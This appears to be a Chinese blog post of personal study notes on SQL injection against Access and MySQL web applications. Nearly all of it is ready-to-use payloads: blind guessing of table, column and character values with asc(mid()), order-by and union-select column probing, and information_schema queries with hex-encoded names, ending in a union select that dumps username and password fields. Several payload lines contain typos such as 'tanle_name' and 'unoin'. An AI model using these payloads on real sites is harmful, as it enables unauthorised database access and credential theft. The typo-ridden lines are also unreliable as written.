SQL注入学习笔记

判断表明
(select Count(*) from admin)>=0

exists(select Count(*) from admin)

判断列明
exists(select user from admins)
and exists(select username from admin)>=0

猜解
判断字段长度 and (select top 1 len(id) from admin)>1 返回正常

猜解每个字节的asc码 and(select top 1 asc(mid(username,2,1))from admin)>99
asc码1-128 采用折中法

mid函数用于从文本中提取字符

mid[ 列名 ,开始位置,(字符数,可选)]
mid[admin , 1,1]admin列中第一个字符

top ()是指定显示的行
top 1显示第一行
top2显示前两行

first 显示该列的第一个记录的数据
SELECT FIRST(OrderPrice) AS FirstOrderPrice FROM admin

count用于显示指定列的行数
select count(*) from admin
查询admin表中的行数

as 可创建一个新列来显示结果
select count() as qqq from admin where id=1
输出结果为
qqq
2
意思是id=2的有两行

 

order by 报错猜解显示数据
1.先猜解字段数 asp?id=1 order by加一个数字猜
2.然后在猜那个能显示数字 asp? union select 1,2,3,..... from 表明 如果是php不用加表明,php得先猜表明
3.报错 asp? and 1=222 union select 1,2,3... from biao
4显示数据将报错的数字改成要查询的数据 unoin select 1,password,2 from biao

不同数据库注入

数据库层次
accesss数据库:
数据库
表名
列名
内容
mysql数据库5.0:
数据库

aaaa
表名
  列名
    内容
bbbb
  表名
    列名
      内容

assce数据库:暴力破解注入;
登陆页面审查元素。查看name元素有可能是列明
知道数据库路径是可以下载
后缀:mdb asa asp
数据库后缀名.asp依旧可以在服务器执行

mysql注入
mysql后缀myd myi frm
mysql是与网站目录分开,采用远程命令进行连接
mysql注入必需先猜解数据库名再猜解表明,mysql数据库名
mysql5.0以上默认存在information_schema存储所有数据库下面的表名和列名信息
information_schema.table是表明信息
information_schema.columns列明信息
table.schema 数据库名
table.name 表明
column.name 列明
group_concat(tanle.name)所有表明
mysql数据库操作
数据库版本 version()
数据库名 database()
数据库用户 user()
操作系统 @@version_compile_os
查询所有表明 php?id=1 and 1=22 union select 1,group_concat(tanle_name),3.,4 .。。。from information_schema.tables where table_schema=数据库名 数据库名需要16进制编码
选出可用表查询,查询所有列
select 1,group_concat(column_name),3.,4 .。。。from information_schema.columns where table.name=表名 表名需要16进制编码
直接猜解内容
select 1,列明,3.,4 .。。。from 表明

总结:
猜数据库名
database();
猜表明
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x61646D696E
猜列明
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
猜密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

posted @ 2018-04-22 22:32  戴帽子的小孩  阅读(250)  评论(0编辑  收藏  举报